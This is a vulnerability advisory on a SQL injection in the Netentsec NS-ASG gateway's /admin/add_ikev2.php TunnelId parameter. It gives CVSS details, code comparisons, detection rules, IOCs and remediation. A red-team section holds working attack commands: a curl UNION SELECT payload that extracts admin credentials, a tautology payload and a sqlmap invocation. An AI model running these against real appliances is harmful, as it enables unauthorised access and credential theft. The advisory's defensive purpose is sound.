CVE-2024-3458

Executive Summary

CVE-2024-3458 is a critical SQL injection vulnerability discovered in the Netentsec NS-ASG Application Security Gateway version 6.3. The flaw resides in the /admin/add_ikev2.php file, where the TunnelId parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or further compromise of the gateway appliance. The vulnerability has been publicly disclosed (VDB-259714) and a proof-of-concept (PoC) is available, increasing the risk of exploitation. No official patch has been released at this time.

Supply Chain & Package Security

This vulnerability does not affect any NPM, PyPI, Go, or Ruby packages. It is a standalone appliance vulnerability in the Netentsec NS-ASG product.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - The victim does not need to perform any action.
• Scope: Unchanged (S:U) - The exploit cannot affect other components.
• Confidentiality Impact: Low (C:L) - Limited data exposure is possible.
• Integrity Impact: Low (I:L) - Some data modification may be possible.
• Availability Impact: Low (A:L) - The service may be partially degraded.

Threat Level: High (due to public PoC and no patch available)

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the administrative interface of the Netentsec NS-ASG Application Security Gateway. The /admin/add_ikev2.php script is used to manage IKEv2 VPN tunnels. The TunnelId parameter is passed directly into a SQL query without proper sanitization or parameterization.

Technical Details:

• Entry Point: HTTP POST request to /admin/add_ikev2.php
• Vulnerable Parameter: TunnelId
• Attack Vector: The attacker sends a crafted TunnelId value containing SQL metacharacters (e.g., ' OR '1'='1).
• Impact: Successful exploitation allows the attacker to execute arbitrary SQL commands on the backend database. This can lead to:
  • Extraction of sensitive data (e.g., user credentials, configuration data)
  • Bypassing authentication mechanisms
  • Modifying or deleting database records
  • Potentially gaining a foothold for further attacks on the internal network

Root Cause: The application fails to use prepared statements or parameterized queries. Instead, it concatenates user input directly into the SQL query string.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on best practices.

Vulnerable Code (PHP-like pseudocode):

<?php
$tunnelId = $_POST['TunnelId'];
$query = "SELECT * FROM ikev2_tunnels WHERE id = " . $tunnelId;
$result = mysqli_query($conn, $query);
?>

Patched Code (using prepared statements):

<?php
$tunnelId = $_POST['TunnelId'];
$stmt = $conn->prepare("SELECT * FROM ikev2_tunnels WHERE id = ?");
$stmt->bind_param("i", $tunnelId);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses a prepared statement with a type-specific binding (i for integer), which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Netentsec NS-ASG Application Security Gateway 6.3
• Network access to the admin interface (typically on port 443 or 80)

Exploitation Steps:

1. Identify the target and confirm the vulnerable endpoint.
2. Send a crafted POST request to /admin/add_ikev2.php with a malicious TunnelId parameter.

Example Exploit (using cURL):

curl -X POST http://target/admin/add_ikev2.php \
  -d "TunnelId=1 UNION SELECT username, password FROM admin_users--"

Manual SQL Injection Payload:

' OR '1'='1' -- 

Automated Exploitation (using sqlmap):

sqlmap -u "http://target/admin/add_ikev2.php" --data="TunnelId=1" --batch --dbs

Expected Outcome: The attacker can extract database contents, including administrative credentials, and potentially gain full control of the gateway.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /admin/add_ikev2.php for anomalous TunnelId values.
2. Look for SQL metacharacters (', ", --, #, UNION, SELECT, OR) in the TunnelId parameter.
3. Check for unusual database error messages in application logs (e.g., "You have an error in your SQL syntax").

Response Actions:

1. Immediately block the attacking IP address at the firewall or WAF.
2. Isolate the affected gateway from the network.
3. Review database logs for unauthorized queries.
4. If possible, apply a virtual patch using a WAF rule to block SQL injection attempts on the vulnerable endpoint.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /admin/add_ikev2.php with TunnelId containing SQL keywords or special characters.
• Outbound database connections from the gateway to unexpected IP addresses (data exfiltration).
• Unusual SQL error messages in HTTP responses (e.g., "MySQL syntax error").

Host IOCs:

• Modified or new entries in the ikev2_tunnels table.
• Presence of new administrative accounts in the admin_users table.
• Suspicious files in the web root (e.g., webshells).

Log IOCs:

• Web server logs showing requests with TunnelId containing UNION, SELECT, OR, ', --.
• Database logs showing queries with unexpected UNION or OR clauses.

Detection Engineering

YARA Rule

rule CVE_2024_3458_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-3458 in Netentsec NS-ASG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3458"
    strings:
        $sqli1 = /TunnelId=.*['\"]/ nocase
        $sqli2 = /TunnelId=.*UNION/i
        $sqli3 = /TunnelId=.*SELECT/i
        $sqli4 = /TunnelId=.*OR/i
        $sqli5 = /TunnelId=.*--/i
    condition:
        any of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt on Netentsec NS-ASG /admin/add_ikev2.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-3458
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/add_ikev2.php'
        cs-uri-query|contains: 'TunnelId'
    keywords:
        - "'"
        - '"'
        - 'UNION'
        - 'SELECT'
        - 'OR'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in tunnel IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3458 SQL Injection Attempt on Netentsec NS-ASG"; flow:to_server,established; content:"POST"; http_method; content:"/admin/add_ikev2.php"; http_uri; content:"TunnelId"; http_client_body; pcre:"/TunnelId=[^&]*['\"]/i"; pcre:"/TunnelId=[^&]*(UNION|SELECT|OR|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Disconnect the NS-ASG from the network if it is not critical for operations.
2. Apply WAF Rules: Use a Web Application Firewall to block requests containing SQL injection patterns in the TunnelId parameter.
3. Monitor Logs: Actively monitor web and database logs for signs of exploitation.

Long-Term Fix:

• Vendor Patch: Await an official patch from Netentsec. Contact their support for an ETA.
• Code Hardening: If source code is available, implement prepared statements or parameterized queries for all database interactions.
• Network Segmentation: Place the NS-ASG behind a firewall and restrict access to the admin interface to trusted IP addresses only.
• Upgrade: Consider upgrading to a newer, supported version of the NS-ASG if available.

Workaround:

• Disable the /admin/add_ikev2.php endpoint by removing or renaming the file, if the functionality is not required.

Valters IT